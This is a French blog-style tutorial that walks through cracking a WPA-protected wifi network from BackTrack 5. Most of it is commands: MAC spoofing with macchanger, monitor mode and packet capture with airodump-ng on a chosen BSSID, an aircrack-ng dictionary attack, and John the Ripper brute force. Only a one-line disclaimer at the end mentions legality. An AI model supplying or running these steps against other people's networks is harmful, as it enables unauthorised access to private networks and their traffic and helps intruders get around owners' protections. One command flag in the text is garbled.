Comment cracker un réseau wifi WPA ?

J'expliquais, hier, comment cracker un réseau wifi protégé par une clef wep. Voici, à présent, comment utiliser le même soft pour cracker un réseau protégé par clef WPA (come quoi, rien n'est totalement sécurisé). La manipulation est un peu plus complexe (longue, aussi.), mais les premières étapes restent les mêmes (suivez donc la première partie de l'explication ici) Il vous faudra télécharger et booter sur BackTrack 5 Ouvrez un terminal. Commencez par modifier votre adresse mac, en saisisssant les lignes suivantes : [sourcecode] airmon-ng stop wlan0 ifconfig wlan0 down macchanger --mac 00:11:22:33:44:55 wlan0 airmon-ng start wlan0 [/sourcecode] Activez le mode monitor de votre carte, en saisissant les lignes de code suivantes, et commencez à checker les réseaux wifi avec la commande suivante : airodump-ng mon0 Là, une liste de "BSSID" apparaît. Choisissez en un (protégé par wpa hein...). Pour la suite, il vous faudra remplacer les **:**:**:**:**:** par le BSSID que vous avez choisi. Commencez à capturer des paquets de données, en les stockant dans un fichier (filename) airodump-ng mon0 --channel * --bssid **:**:**:**:**:** -w filename Nous allons ensuite utiliser un dictionnaire pour tenter de trouver le mdp aircrack-ng ?w wordlist.lst -b **:**:**:**:**:** filename.cap Vous pouvez en télécharger un via ce lien (128mo à télécharger, puis 800mo une fois décompressé, pour environ 200 millions de passphrases) Si l'utilisation du dictionnaire ne donne rien, vous pouvez tenter de bruteforcer la clef, en entrant la commande suivante : /pentest/password/jtr/john --stdout --incremental:all | aircrack-ng -b **:**:**:**:**:** -w - filename.cap Cette dernière possibilité peut prendre du temps, en fonction de votre matériel, et de la passphrase que vous souhaitez trouver... Bien entendu, je rappelle à chacun que cracker un réseau wifi est illégal, à moins qu'il ne s'agisse du vôtre. Utilisez donc cette technique pour tester la robustesse de votre propre réseau...